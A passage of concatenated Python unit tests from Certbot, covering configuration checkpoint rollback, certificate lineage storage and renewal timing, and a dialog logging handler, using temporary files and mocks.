        self.reverter.add_to_checkpoint(self.sets[0], "perm save")
        mock_rename.side_effect = OSError

        self.assertRaises(
            errors.ReverterError, self.reverter.finalize_checkpoint, "Title")

    @mock.patch("certbot.reverter.logger")
    def test_rollback_too_many(self, mock_logger):
        # Test no exist warning...
        self.reverter.rollback_checkpoints(1)
        self.assertEqual(mock_logger.warning.call_count, 1)

        # Test Generic warning
        self._setup_three_checkpoints()
        mock_logger.warning.call_count = 0
        self.reverter.rollback_checkpoints(4)
        self.assertEqual(mock_logger.warning.call_count, 1)

    def test_multi_rollback(self):
        config3 = self._setup_three_checkpoints()
        self.reverter.rollback_checkpoints(3)

        self.assertEqual(read_in(self.config1), "directive-dir1")
        self.assertEqual(read_in(self.config2), "directive-dir2")
        self.assertFalse(os.path.isfile(config3))

    @mock.patch("certbot.reverter.zope.component.getUtility")
    def test_view_config_changes(self, mock_output):
        """This is not strict as this is subject to change."""
        self._setup_three_checkpoints()

        # Make sure it doesn't throw any errors
        self.reverter.view_config_changes()

        # Make sure notification is output
        self.assertEqual(mock_output().notification.call_count, 1)

    @mock.patch("certbot.reverter.logger")
    def test_view_config_changes_no_backups(self, mock_logger):
        self.reverter.view_config_changes()
        self.assertTrue(mock_logger.info.call_count > 0)

    def test_view_config_changes_bad_backups_dir(self):
        # There shouldn't be any "in progess directories when this is called
        # It must just be clean checkpoints
        os.makedirs(os.path.join(self.config.backup_dir, "in_progress"))

        self.assertRaises(
            errors.ReverterError, self.reverter.view_config_changes)

    def test_view_config_changes_for_logging(self):
        self._setup_three_checkpoints()

        config_changes = self.reverter.view_config_changes(for_logging=True)

        self.assertTrue("First Checkpoint" in config_changes)
        self.assertTrue("Second Checkpoint" in config_changes)
        self.assertTrue("Third Checkpoint" in config_changes)

    def _setup_three_checkpoints(self):
        """Generate some finalized checkpoints."""
        # Checkpoint1 - config1
        self.reverter.add_to_checkpoint(self.sets[0], "first save")
        self.reverter.finalize_checkpoint("First Checkpoint")

        update_file(self.config1, "update config1")

        # Checkpoint2 - new file config3, update config2
        config3 = os.path.join(self.dir1, "config3.txt")
        self.reverter.register_file_creation(False, config3)
        update_file(config3, "directive-config3")
        self.reverter.add_to_checkpoint(self.sets[1], "second save")
        self.reverter.finalize_checkpoint("Second Checkpoint")

        update_file(self.config2, "update config2")
        update_file(config3, "update config3")

        # Checkpoint3 - update config1, config2
        self.reverter.add_to_checkpoint(self.sets[2], "third save")
        self.reverter.finalize_checkpoint("Third Checkpoint - Save both")

        update_file(self.config1, "Final form config1")
        update_file(self.config2, "Final form config2")
        update_file(config3, "Final form config3")

        return config3


def setup_work_direc():
    """Setup directories.

    :returns: Mocked :class:`certbot.interfaces.IConfig`

    """
    work_dir = tempfile.mkdtemp("work")
    backup_dir = os.path.join(work_dir, "backup")

    return mock.MagicMock(
        work_dir=work_dir, backup_dir=backup_dir,
        temp_checkpoint_dir=os.path.join(work_dir, "temp"),
        in_progress_dir=os.path.join(backup_dir, "in_progress_dir"))


def setup_test_files():
    """Setup sample configuration files."""
    dir1 = tempfile.mkdtemp("dir1")
    dir2 = tempfile.mkdtemp("dir2")
    config1 = os.path.join(dir1, "config.txt")
    config2 = os.path.join(dir2, "config.txt")
    with open(config1, "w") as file_fd:
        file_fd.write("directive-dir1")
    with open(config2, "w") as file_fd:
        file_fd.write("directive-dir2")

    sets = [set([config1]),
            set([config2]),
            set([config1, config2])]

    return config1, config2, dir1, dir2, sets


def get_save_notes(dire):
    """Read save notes"""
    return read_in(os.path.join(dire, "CHANGES_SINCE"))


def get_filepaths(dire):
    """Get Filepaths"""
    return read_in(os.path.join(dire, "FILEPATHS"))


def get_new_files(dire):
    """Get new files."""
    return read_in(os.path.join(dire, "NEW_FILES")).splitlines()


def get_undo_commands(dire):
    """Get new files."""
    with open(os.path.join(dire, "COMMANDS")) as csvfile:
        return list(csv.reader(csvfile))


def read_in(path):
    """Read in a file, return the str"""
    with open(path, "r") as file_fd:
        return file_fd.read()


def update_file(filename, string):
    """Update a file with a new value."""
    with open(filename, "w") as file_fd:
        file_fd.write(string)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.storage."""
# pylint disable=protected-access
import datetime
import os
import shutil
import tempfile
import unittest

import configobj
import mock
import pytz
import six

import certbot
from certbot import cli
from certbot import configuration
from certbot import errors
from certbot.storage import ALL_FOUR

from certbot.tests import test_util


CERT = test_util.load_cert('cert.pem')


def unlink_all(rc_object):
    """Unlink all four items associated with this RenewableCert."""
    for kind in ALL_FOUR:
        os.unlink(getattr(rc_object, kind))


def fill_with_sample_data(rc_object):
    """Put dummy data into all four files of this RenewableCert."""
    for kind in ALL_FOUR:
        with open(getattr(rc_object, kind), "w") as f:
            f.write(kind)


class BaseRenewableCertTest(unittest.TestCase):
    """Base class for setting up Renewable Cert tests.

    .. note:: It may be required to write out self.config for
    your test.  Check :class:`.cli_test.DuplicateCertTest` for an example.

    """
    def setUp(self):
        from certbot import storage
        self.tempdir = tempfile.mkdtemp()

        self.cli_config = configuration.RenewerConfiguration(
            namespace=mock.MagicMock(
                config_dir=self.tempdir,
                work_dir=self.tempdir,
                logs_dir=self.tempdir,
            )
        )

        # TODO: maybe provide RenewerConfiguration.make_dirs?
        # TODO: main() should create those dirs, c.f. #902
        os.makedirs(os.path.join(self.tempdir, "live", "example.org"))
        os.makedirs(os.path.join(self.tempdir, "archive", "example.org"))
        os.makedirs(os.path.join(self.tempdir, "renewal"))

        config = configobj.ConfigObj()
        for kind in ALL_FOUR:
            config[kind] = os.path.join(self.tempdir, "live", "example.org",
                                        kind + ".pem")
        config.filename = os.path.join(self.tempdir, "renewal",
                                       "example.org.conf")
        config.write()
        self.config = config

        # We also create a file that isn't a renewal config in the same
        # location to test that logic that reads in all-and-only renewal
        # configs will ignore it and NOT attempt to parse it.
        junk = open(os.path.join(self.tempdir, "renewal", "IGNORE.THIS"), "w")
        junk.write("This file should be ignored!")
        junk.close()

        self.defaults = configobj.ConfigObj()

        with mock.patch("certbot.storage.RenewableCert._check_symlinks") as check:
            check.return_value = True
            self.test_rc = storage.RenewableCert(config.filename, self.cli_config)

    def tearDown(self):
        shutil.rmtree(self.tempdir)

    def _write_out_kind(self, kind, ver, value=None):
        link = getattr(self.test_rc, kind)
        if os.path.lexists(link):
            os.unlink(link)
        os.symlink(os.path.join(os.path.pardir, os.path.pardir, "archive",
                                "example.org", "{0}{1}.pem".format(kind, ver)),
                   link)
        with open(link, "wb") as f:
            f.write(kind.encode('ascii') if value is None else value)

    def _write_out_ex_kinds(self):
        for kind in ALL_FOUR:
            self._write_out_kind(kind, 12)
            self._write_out_kind(kind, 11)


class RenewableCertTests(BaseRenewableCertTest):
    # pylint: disable=too-many-public-methods
    """Tests for certbot.storage."""

    def test_initialization(self):
        self.assertEqual(self.test_rc.lineagename, "example.org")
        for kind in ALL_FOUR:
            self.assertEqual(
                getattr(self.test_rc, kind), os.path.join(
                    self.tempdir, "live", "example.org", kind + ".pem"))

    def test_renewal_bad_config(self):
        """Test that the RenewableCert constructor will complain if
        the renewal configuration file doesn't end in ".conf"

        """
        from certbot import storage
        broken = os.path.join(self.tempdir, "broken.conf")
        with open(broken, "w") as f:
            f.write("[No closing bracket for you!")
        self.assertRaises(errors.CertStorageError, storage.RenewableCert,
                          broken, self.cli_config)
        os.unlink(broken)
        self.assertRaises(errors.CertStorageError, storage.RenewableCert,
                          "fun", self.cli_config)

    def test_renewal_incomplete_config(self):
        """Test that the RenewableCert constructor will complain if
        the renewal configuration file is missing a required file element."""
        from certbot import storage
        config = configobj.ConfigObj()
        config["cert"] = "imaginary_cert.pem"
        # Here the required privkey is missing.
        config["chain"] = "imaginary_chain.pem"
        config["fullchain"] = "imaginary_fullchain.pem"
        config.filename = os.path.join(self.tempdir, "imaginary_config.conf")
        config.write()
        self.assertRaises(errors.CertStorageError, storage.RenewableCert,
                          config.filename, self.cli_config)

    def test_no_renewal_version(self):
        from certbot import storage

        self._write_out_ex_kinds()
        self.assertTrue("version" not in self.config)

        with mock.patch("certbot.storage.logger") as mock_logger:
            storage.RenewableCert(self.config.filename, self.cli_config)
        self.assertFalse(mock_logger.warning.called)

    def test_renewal_newer_version(self):
        from certbot import storage

        self._write_out_ex_kinds()
        self.config["version"] = "99.99.99"
        self.config.write()

        with mock.patch("certbot.storage.logger") as mock_logger:
            storage.RenewableCert(self.config.filename, self.cli_config)
        self.assertTrue(mock_logger.warning.called)
        self.assertTrue("version" in mock_logger.warning.call_args[0][0])

    def test_consistent(self):
        # pylint: disable=too-many-statements,protected-access
        oldcert = self.test_rc.cert
        self.test_rc.cert = "relative/path"
        # Absolute path for item requirement
        self.assertFalse(self.test_rc._consistent())
        self.test_rc.cert = oldcert
        # Items must exist requirement
        self.assertFalse(self.test_rc._consistent())
        # Items must be symlinks requirements
        fill_with_sample_data(self.test_rc)
        self.assertFalse(self.test_rc._consistent())
        unlink_all(self.test_rc)
        # Items must point to desired place if they are relative
        for kind in ALL_FOUR:
            os.symlink(os.path.join("..", kind + "17.pem"),
                       getattr(self.test_rc, kind))
        self.assertFalse(self.test_rc._consistent())
        unlink_all(self.test_rc)
        # Items must point to desired place if they are absolute
        for kind in ALL_FOUR:
            os.symlink(os.path.join(self.tempdir, kind + "17.pem"),
                       getattr(self.test_rc, kind))
        self.assertFalse(self.test_rc._consistent())
        unlink_all(self.test_rc)
        # Items must point to things that exist
        for kind in ALL_FOUR:
            os.symlink(os.path.join("..", "..", "archive", "example.org",
                                    kind + "17.pem"),
                       getattr(self.test_rc, kind))
        self.assertFalse(self.test_rc._consistent())
        # This version should work
        fill_with_sample_data(self.test_rc)
        self.assertTrue(self.test_rc._consistent())
        # Items must point to things that follow the naming convention
        os.unlink(self.test_rc.fullchain)
        os.symlink(os.path.join("..", "..", "archive", "example.org",
                                "fullchain_17.pem"), self.test_rc.fullchain)
        with open(self.test_rc.fullchain, "w") as f:
            f.write("wrongly-named fullchain")
        self.assertFalse(self.test_rc._consistent())

    def test_current_target(self):
        # Relative path logic
        self._write_out_kind("cert", 17)
        self.assertTrue(os.path.samefile(self.test_rc.current_target("cert"),
                                         os.path.join(self.tempdir, "archive",
                                                      "example.org",
                                                      "cert17.pem")))
        # Absolute path logic
        os.unlink(self.test_rc.cert)
        os.symlink(os.path.join(self.tempdir, "archive", "example.org",
                                "cert17.pem"), self.test_rc.cert)
        with open(self.test_rc.cert, "w") as f:
            f.write("cert")
        self.assertTrue(os.path.samefile(self.test_rc.current_target("cert"),
                                         os.path.join(self.tempdir, "archive",
                                                      "example.org",
                                                      "cert17.pem")))

    def test_current_version(self):
        for ver in (1, 5, 10, 20):
            self._write_out_kind("cert", ver)
        os.unlink(self.test_rc.cert)
        os.symlink(os.path.join("..", "..", "archive", "example.org",
                                "cert10.pem"), self.test_rc.cert)
        self.assertEqual(self.test_rc.current_version("cert"), 10)

    def test_no_current_version(self):
        self.assertEqual(self.test_rc.current_version("cert"), None)

    def test_latest_and_next_versions(self):
        for ver in six.moves.range(1, 6):
            for kind in ALL_FOUR:
                self._write_out_kind(kind, ver)
        self.assertEqual(self.test_rc.latest_common_version(), 5)
        self.assertEqual(self.test_rc.next_free_version(), 6)
        # Having one kind of file of a later version doesn't change the
        # result
        self._write_out_kind("privkey", 7)
        self.assertEqual(self.test_rc.latest_common_version(), 5)
        # ... although it does change the next free version
        self.assertEqual(self.test_rc.next_free_version(), 8)
        # Nor does having three out of four change the result
        self._write_out_kind("cert", 7)
        self._write_out_kind("fullchain", 7)
        self.assertEqual(self.test_rc.latest_common_version(), 5)
        # If we have everything from a much later version, it does change
        # the result
        for kind in ALL_FOUR:
            self._write_out_kind(kind, 17)
        self.assertEqual(self.test_rc.latest_common_version(), 17)
        self.assertEqual(self.test_rc.next_free_version(), 18)

    def test_update_link_to(self):
        for ver in six.moves.range(1, 6):
            for kind in ALL_FOUR:
                self._write_out_kind(kind, ver)
                self.assertEqual(ver, self.test_rc.current_version(kind))
        # pylint: disable=protected-access
        self.test_rc._update_link_to("cert", 3)
        self.test_rc._update_link_to("privkey", 2)
        self.assertEqual(3, self.test_rc.current_version("cert"))
        self.assertEqual(2, self.test_rc.current_version("privkey"))
        self.assertEqual(5, self.test_rc.current_version("chain"))
        self.assertEqual(5, self.test_rc.current_version("fullchain"))
        # Currently we are allowed to update to a version that doesn't exist
        self.test_rc._update_link_to("chain", 3000)
        # However, current_version doesn't allow querying the resulting
        # version (because it's a broken link).
        self.assertEqual(os.path.basename(os.readlink(self.test_rc.chain)),
                         "chain3000.pem")

    def test_version(self):
        self._write_out_kind("cert", 12)
        # TODO: We should probably test that the directory is still the
        #       same, but it's tricky because we can get an absolute
        #       path out when we put a relative path in.
        self.assertEqual("cert8.pem",
                         os.path.basename(self.test_rc.version("cert", 8)))

    def test_update_all_links_to_success(self):
        for ver in six.moves.range(1, 6):
            for kind in ALL_FOUR:
                self._write_out_kind(kind, ver)
                self.assertEqual(ver, self.test_rc.current_version(kind))
        self.assertEqual(self.test_rc.latest_common_version(), 5)
        for ver in six.moves.range(1, 6):
            self.test_rc.update_all_links_to(ver)
            for kind in ALL_FOUR:
                self.assertEqual(ver, self.test_rc.current_version(kind))
            self.assertEqual(self.test_rc.latest_common_version(), 5)

    def test_update_all_links_to_partial_failure(self):
        def unlink_or_raise(path, real_unlink=os.unlink):
            # pylint: disable=missing-docstring
            basename = os.path.basename(path)
            if "fullchain" in basename and basename.startswith("prev"):
                raise ValueError
            else:
                real_unlink(path)

        self._write_out_ex_kinds()
        with mock.patch("certbot.storage.os.unlink") as mock_unlink:
            mock_unlink.side_effect = unlink_or_raise
            self.assertRaises(ValueError, self.test_rc.update_all_links_to, 12)

        for kind in ALL_FOUR:
            self.assertEqual(self.test_rc.current_version(kind), 12)

    def test_update_all_links_to_full_failure(self):
        def unlink_or_raise(path, real_unlink=os.unlink):
            # pylint: disable=missing-docstring
            if "fullchain" in os.path.basename(path):
                raise ValueError
            else:
                real_unlink(path)

        self._write_out_ex_kinds()
        with mock.patch("certbot.storage.os.unlink") as mock_unlink:
            mock_unlink.side_effect = unlink_or_raise
            self.assertRaises(ValueError, self.test_rc.update_all_links_to, 12)

        for kind in ALL_FOUR:
            self.assertEqual(self.test_rc.current_version(kind), 11)

    def test_has_pending_deployment(self):
        for ver in six.moves.range(1, 6):
            for kind in ALL_FOUR:
                self._write_out_kind(kind, ver)
                self.assertEqual(ver, self.test_rc.current_version(kind))
        for ver in six.moves.range(1, 6):
            self.test_rc.update_all_links_to(ver)
            for kind in ALL_FOUR:
                self.assertEqual(ver, self.test_rc.current_version(kind))
            if ver < 5:
                self.assertTrue(self.test_rc.has_pending_deployment())
            else:
                self.assertFalse(self.test_rc.has_pending_deployment())

    def test_names(self):
        # Trying the current version
        self._write_out_kind("cert", 12, test_util.load_vector("cert-san.pem"))
        self.assertEqual(self.test_rc.names(),
                         ["example.com", "www.example.com"])

        # Trying a non-current version
        self._write_out_kind("cert", 15, test_util.load_vector("cert.pem"))
        self.assertEqual(self.test_rc.names(12),
                         ["example.com", "www.example.com"])

        # Testing common name is listed first
        self._write_out_kind(
            "cert", 12, test_util.load_vector("cert-5sans.pem"))
        self.assertEqual(
            self.test_rc.names(12),
            ["example.com"] + ["{0}.example.com".format(c) for c in "abcd"])

        # Trying missing cert
        os.unlink(self.test_rc.cert)
        self.assertRaises(errors.CertStorageError, self.test_rc.names)

    @mock.patch("certbot.storage.datetime")
    def test_time_interval_judgments(self, mock_datetime):
        """Test should_autodeploy() and should_autorenew() on the basis
        of expiry time windows."""
        test_cert = test_util.load_vector("cert.pem")
        self._write_out_ex_kinds()

        self.test_rc.update_all_links_to(12)
        with open(self.test_rc.cert, "wb") as f:
            f.write(test_cert)
        self.test_rc.update_all_links_to(11)
        with open(self.test_rc.cert, "wb") as f:
            f.write(test_cert)

        mock_datetime.timedelta = datetime.timedelta

        for (current_time, interval, result) in [
                # 2014-12-13 12:00:00+00:00 (about 5 days prior to expiry)
                # Times that should result in autorenewal/autodeployment
                (1418472000, "2 months", True), (1418472000, "1 week", True),
                # Times that should not
                (1418472000, "4 days", False), (1418472000, "2 days", False),
                # 2009-05-01 12:00:00+00:00 (about 5 years prior to expiry)
                # Times that should result in autorenewal/autodeployment
                (1241179200, "7 years", True),
                (1241179200, "11 years 2 months", True),
                # Times that should not
                (1241179200, "8 hours", False), (1241179200, "2 days", False),
                (1241179200, "40 days", False), (1241179200, "9 months", False),
                # 2015-01-01 (after expiry has already happened, so all
                #            intervals should cause autorenewal/autodeployment)
                (1420070400, "0 seconds", True),
                (1420070400, "10 seconds", True),
                (1420070400, "10 minutes", True),
                (1420070400, "10 weeks", True), (1420070400, "10 months", True),
                (1420070400, "10 years", True), (1420070400, "99 months", True),
        ]:
            sometime = datetime.datetime.utcfromtimestamp(current_time)
            mock_datetime.datetime.utcnow.return_value = sometime
            self.test_rc.configuration["deploy_before_expiry"] = interval
            self.test_rc.configuration["renew_before_expiry"] = interval
            self.assertEqual(self.test_rc.should_autodeploy(), result)
            self.assertEqual(self.test_rc.should_autorenew(), result)

    def test_autodeployment_is_enabled(self):
        self.assertTrue(self.test_rc.autodeployment_is_enabled())
        self.test_rc.configuration["autodeploy"] = "1"
        self.assertTrue(self.test_rc.autodeployment_is_enabled())

        self.test_rc.configuration["autodeploy"] = "0"
        self.assertFalse(self.test_rc.autodeployment_is_enabled())

    def test_should_autodeploy(self):
        """Test should_autodeploy() on the basis of reasons other than
        expiry time window."""
        # pylint: disable=too-many-statements
        # Autodeployment turned off
        self.test_rc.configuration["autodeploy"] = "0"
        self.assertFalse(self.test_rc.should_autodeploy())
        self.test_rc.configuration["autodeploy"] = "1"
        # No pending deployment
        for ver in six.moves.range(1, 6):
            for kind in ALL_FOUR:
                self._write_out_kind(kind, ver)
        self.assertFalse(self.test_rc.should_autodeploy())

    def test_autorenewal_is_enabled(self):
        self.assertTrue(self.test_rc.autorenewal_is_enabled())
        self.test_rc.configuration["autorenew"] = "1"
        self.assertTrue(self.test_rc.autorenewal_is_enabled())

        self.test_rc.configuration["autorenew"] = "0"
        self.assertFalse(self.test_rc.autorenewal_is_enabled())

    @mock.patch("certbot.storage.RenewableCert.ocsp_revoked")
    def test_should_autorenew(self, mock_ocsp):
        """Test should_autorenew on the basis of reasons other than
        expiry time window."""
        # pylint: disable=too-many-statements
        # Autorenewal turned off
        self.test_rc.configuration["autorenew"] = "0"
        self.assertFalse(self.test_rc.should_autorenew())
        self.test_rc.configuration["autorenew"] = "1"
        for kind in ALL_FOUR:
            self._write_out_kind(kind, 12)
        # Mandatory renewal on the basis of OCSP revocation
        mock_ocsp.return_value = True
        self.assertTrue(self.test_rc.should_autorenew())
        mock_ocsp.return_value = False

    @mock.patch("certbot.storage.relevant_values")
    def test_save_successor(self, mock_rv):
        # Mock relevant_values() to claim that all values are relevant here
        # (to avoid instantiating parser)
        mock_rv.side_effect = lambda x: x

        for ver in six.moves.range(1, 6):
            for kind in ALL_FOUR:
                self._write_out_kind(kind, ver)
        self.test_rc.update_all_links_to(3)
        self.assertEqual(
            6, self.test_rc.save_successor(3, "new cert", None,
                                           "new chain", self.cli_config))
        with open(self.test_rc.version("cert", 6)) as f:
            self.assertEqual(f.read(), "new cert")
        with open(self.test_rc.version("chain", 6)) as f:
            self.assertEqual(f.read(), "new chain")
        with open(self.test_rc.version("fullchain", 6)) as f:
            self.assertEqual(f.read(), "new cert" + "new chain")
        # version 6 of the key should be a link back to version 3
        self.assertFalse(os.path.islink(self.test_rc.version("privkey", 3)))
        self.assertTrue(os.path.islink(self.test_rc.version("privkey", 6)))
        # Let's try two more updates
        self.assertEqual(
            7, self.test_rc.save_successor(6, "again", None,
                                           "newer chain", self.cli_config))
        self.assertEqual(
            8, self.test_rc.save_successor(7, "hello", None,
                                           "other chain", self.cli_config))
        # All of the subsequent versions should link directly to the original
        # privkey.
        for i in (6, 7, 8):
            self.assertTrue(os.path.islink(self.test_rc.version("privkey", i)))
            self.assertEqual("privkey3.pem", os.path.basename(os.readlink(
                self.test_rc.version("privkey", i))))

        for kind in ALL_FOUR:
            self.assertEqual(self.test_rc.available_versions(kind), list(six.moves.range(1, 9)))
            self.assertEqual(self.test_rc.current_version(kind), 3)
        # Test updating from latest version rather than old version
        self.test_rc.update_all_links_to(8)
        self.assertEqual(
            9, self.test_rc.save_successor(8, "last", None,
                                           "attempt", self.cli_config))
        for kind in ALL_FOUR:
            self.assertEqual(self.test_rc.available_versions(kind),
                             list(six.moves.range(1, 10)))
            self.assertEqual(self.test_rc.current_version(kind), 8)
        with open(self.test_rc.version("fullchain", 9)) as f:
            self.assertEqual(f.read(), "last" + "attempt")
        temp_config_file = os.path.join(self.cli_config.renewal_configs_dir,
                                        self.test_rc.lineagename) + ".conf.new"
        with open(temp_config_file, "w") as f:
            f.write("We previously crashed while writing me :(")
        # Test updating when providing a new privkey.  The key should
        # be saved in a new file rather than creating a new symlink.
        self.assertEqual(
            10, self.test_rc.save_successor(9, "with", "a",
                                            "key", self.cli_config))
        self.assertTrue(os.path.exists(self.test_rc.version("privkey", 10)))
        self.assertFalse(os.path.islink(self.test_rc.version("privkey", 10)))
        self.assertFalse(os.path.exists(temp_config_file))

    def _test_relevant_values_common(self, values):
        option = "rsa_key_size"
        mock_parser = mock.Mock(args=["--standalone"], verb="certonly",
                                defaults={option: cli.flag_default(option)})

        from certbot.storage import relevant_values
        with mock.patch("certbot.cli.helpful_parser", mock_parser):
            return relevant_values(values)

    def test_relevant_values(self):
        """Test that relevant_values() can reject an irrelevant value."""
        self.assertEqual(
            self._test_relevant_values_common({"hello": "there"}), {})

    def test_relevant_values_default(self):
        """Test that relevant_values() can reject a default value."""
        option = "rsa_key_size"
        values = {option: cli.flag_default(option)}
        self.assertEqual(self._test_relevant_values_common(values), {})

    def test_relevant_values_nondefault(self):
        """Test that relevant_values() can retain a non-default value."""
        values = {"rsa_key_size": 12}
        # A copy is given to _test_relevant_values_common
        # to make sure values isn't modified by the method
        self.assertEqual(
            self._test_relevant_values_common(values.copy()), values)

    @mock.patch("certbot.storage.relevant_values")
    def test_new_lineage(self, mock_rv):
        """Test for new_lineage() class method."""
        # Mock relevant_values to say everything is relevant here (so we
        # don't have to mock the parser to help it decide!)
        mock_rv.side_effect = lambda x: x

        from certbot import storage
        result = storage.RenewableCert.new_lineage(
            "the-lineage.com", "cert", "privkey", "chain", self.cli_config)
        # This consistency check tests most relevant properties about the
        # newly created cert lineage.
        # pylint: disable=protected-access
        self.assertTrue(result._consistent())
        self.assertTrue(os.path.exists(os.path.join(
            self.cli_config.renewal_configs_dir, "the-lineage.com.conf")))
        with open(result.fullchain) as f:
            self.assertEqual(f.read(), "cert" + "chain")
        # Let's do it again and make sure it makes a different lineage
        result = storage.RenewableCert.new_lineage(
            "the-lineage.com", "cert2", "privkey2", "chain2", self.cli_config)
        self.assertTrue(os.path.exists(os.path.join(
            self.cli_config.renewal_configs_dir, "the-lineage.com-0001.conf")))
        # Now trigger the detection of already existing files
        os.mkdir(os.path.join(
            self.cli_config.live_dir, "the-lineage.com-0002"))
        self.assertRaises(errors.CertStorageError,
                          storage.RenewableCert.new_lineage, "the-lineage.com",
                          "cert3", "privkey3", "chain3", self.cli_config)
        os.mkdir(os.path.join(self.cli_config.archive_dir, "other-example.com"))
        self.assertRaises(errors.CertStorageError,
                          storage.RenewableCert.new_lineage,
                          "other-example.com", "cert4",
                          "privkey4", "chain4", self.cli_config)
        # Make sure it can accept renewal parameters
        result = storage.RenewableCert.new_lineage(
            "the-lineage.com", "cert2", "privkey2", "chain2", self.cli_config)
        # TODO: Conceivably we could test that the renewal parameters actually
        #       got saved

    @mock.patch("certbot.storage.relevant_values")
    def test_new_lineage_nonexistent_dirs(self, mock_rv):
        """Test that directories can be created if they don't exist."""
        # Mock relevant_values to say everything is relevant here (so we
        # don't have to mock the parser to help it decide!)
        mock_rv.side_effect = lambda x: x

        from certbot import storage
        shutil.rmtree(self.cli_config.renewal_configs_dir)
        shutil.rmtree(self.cli_config.archive_dir)
        shutil.rmtree(self.cli_config.live_dir)

        storage.RenewableCert.new_lineage(
            "the-lineage.com", "cert2", "privkey2", "chain2", self.cli_config)
        self.assertTrue(os.path.exists(
            os.path.join(
                self.cli_config.renewal_configs_dir, "the-lineage.com.conf")))
        self.assertTrue(os.path.exists(os.path.join(
            self.cli_config.live_dir, "the-lineage.com", "privkey.pem")))
        self.assertTrue(os.path.exists(os.path.join(
            self.cli_config.archive_dir, "the-lineage.com", "privkey1.pem")))

    @mock.patch("certbot.storage.util.unique_lineage_name")
    def test_invalid_config_filename(self, mock_uln):
        from certbot import storage
        mock_uln.return_value = "this_does_not_end_with_dot_conf", "yikes"
        self.assertRaises(errors.CertStorageError,
                          storage.RenewableCert.new_lineage, "example.com",
                          "cert", "privkey", "chain", self.cli_config)

    def test_bad_kind(self):
        self.assertRaises(
            errors.CertStorageError, self.test_rc.current_target, "elephant")
        self.assertRaises(
            errors.CertStorageError, self.test_rc.current_version, "elephant")
        self.assertRaises(
            errors.CertStorageError, self.test_rc.version, "elephant", 17)
        self.assertRaises(
            errors.CertStorageError,
            self.test_rc.available_versions, "elephant")
        self.assertRaises(
            errors.CertStorageError,
            self.test_rc.newest_available_version, "elephant")
        # pylint: disable=protected-access
        self.assertRaises(
            errors.CertStorageError,
            self.test_rc._update_link_to, "elephant", 17)

    def test_ocsp_revoked(self):
        # XXX: This is currently hardcoded to False due to a lack of an
        #      OCSP server to test against.
        self.assertFalse(self.test_rc.ocsp_revoked())

    def test_add_time_interval(self):
        from certbot import storage

        # this month has 30 days, and the next year is a leap year
        time_1 = pytz.UTC.fromutc(datetime.datetime(2003, 11, 20, 11, 59, 21))

        # this month has 31 days, and the next year is not a leap year
        time_2 = pytz.UTC.fromutc(datetime.datetime(2012, 10, 18, 21, 31, 16))

        # in different time zone (GMT+8)
        time_3 = pytz.timezone('Asia/Shanghai').fromutc(
            datetime.datetime(2015, 10, 26, 22, 25, 41))

        intended = {
            (time_1, ""): time_1,
            (time_2, ""): time_2,
            (time_3, ""): time_3,
            (time_1, "17 days"): time_1 + datetime.timedelta(17),
            (time_2, "17 days"): time_2 + datetime.timedelta(17),
            (time_1, "30"): time_1 + datetime.timedelta(30),
            (time_2, "30"): time_2 + datetime.timedelta(30),
            (time_1, "7 weeks"): time_1 + datetime.timedelta(49),
            (time_2, "7 weeks"): time_2 + datetime.timedelta(49),
            # 1 month is always 30 days, no matter which month it is
            (time_1, "1 month"): time_1 + datetime.timedelta(30),
            (time_2, "1 month"): time_2 + datetime.timedelta(31),
            # 1 year could be 365 or 366 days, depends on the year
            (time_1, "1 year"): time_1 + datetime.timedelta(366),
            (time_2, "1 year"): time_2 + datetime.timedelta(365),
            (time_1, "1 year 1 day"): time_1 + datetime.timedelta(367),
            (time_2, "1 year 1 day"): time_2 + datetime.timedelta(366),
            (time_1, "1 year-1 day"): time_1 + datetime.timedelta(365),
            (time_2, "1 year-1 day"): time_2 + datetime.timedelta(364),
            (time_1, "4 years"): time_1 + datetime.timedelta(1461),
            (time_2, "4 years"): time_2 + datetime.timedelta(1461),
        }

        for parameters, excepted in intended.items():
            base_time, interval = parameters
            self.assertEqual(storage.add_time_interval(base_time, interval),
                             excepted)

    def test_missing_cert(self):
        from certbot import storage
        self.assertRaises(errors.CertStorageError,
                          storage.RenewableCert,
                          self.config.filename, self.cli_config)
        os.symlink("missing", self.config[ALL_FOUR[0]])
        self.assertRaises(errors.CertStorageError,
                          storage.RenewableCert,
                          self.config.filename, self.cli_config)

    def test_write_renewal_config(self):
        # Mostly tested by the process of creating and updating lineages,
        # but we can test that this successfully creates files, removes
        # unneeded items, and preserves comments.
        temp = os.path.join(self.tempdir, "sample-file")
        temp2 = os.path.join(self.tempdir, "sample-file.new")
        with open(temp, "w") as f:
            f.write("[renewalparams]\nuseful = value # A useful value\n"
                    "useless = value # Not needed\n")
        target = {}
        for x in ALL_FOUR:
            target[x] = "somewhere"
        relevant_data = {"useful": "new_value"}
        from certbot import storage
        storage.write_renewal_config(temp, temp2, target, relevant_data)
        with open(temp2, "r") as f:
            content = f.read()
        # useful value was updated
        self.assertTrue("useful = new_value" in content)
        # associated comment was preserved
        self.assertTrue("A useful value" in content)
        # useless value was deleted
        self.assertTrue("useless" not in content)
        # check version was stored
        self.assertTrue("version = {0}".format(certbot.__version__) in content)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Certbot Tests"""






"""Tests for certbot.log."""
import logging
import unittest

import mock


class DialogHandlerTest(unittest.TestCase):

    def setUp(self):
        self.d = mock.MagicMock()

        from certbot.log import DialogHandler
        self.handler = DialogHandler(height=2, width=6, d=self.d)
        self.handler.PADDING_HEIGHT = 2
        self.handler.PADDING_WIDTH = 4

    def test_adds_padding(self):
        self.handler.emit(logging.makeLogRecord({}))
        self.d.infobox.assert_called_once_with(mock.ANY, 4, 10)

    def test_args_in_msg_get_replaced(self):
        assert len('123456') <= self.handler.width
        self.handler.emit(logging.makeLogRecord(
            {'msg': '123%s', 'args': (456,)}))
        self.d.infobox.assert_called_once_with('123456', mock.ANY, mock.ANY)

    def test_wraps_nospace_is_greedy(self):
        assert len('1234567') > self.handler.width
        self.handler.emit(logging.makeLogRecord({'msg': '1234567'}))
        self.d.infobox.assert_called_once_with('123456\n7', mock.ANY, mock.ANY)

    def test_wraps_at_whitespace(self):
        assert len('123 567') > self.handler.width
        self.handler.emit(logging.makeLogRecord({'msg': '123 567'}))
        self.d.infobox.assert_called_once_with('123\n567', mock.ANY, mock.ANY)

    def test_only_last_lines_are_printed(self):
        assert len('a\nb\nc'.split()) > self.handler.height
        self.handler.emit(logging.makeLogRecord({'msg': 'a\n\nb\nc'}))
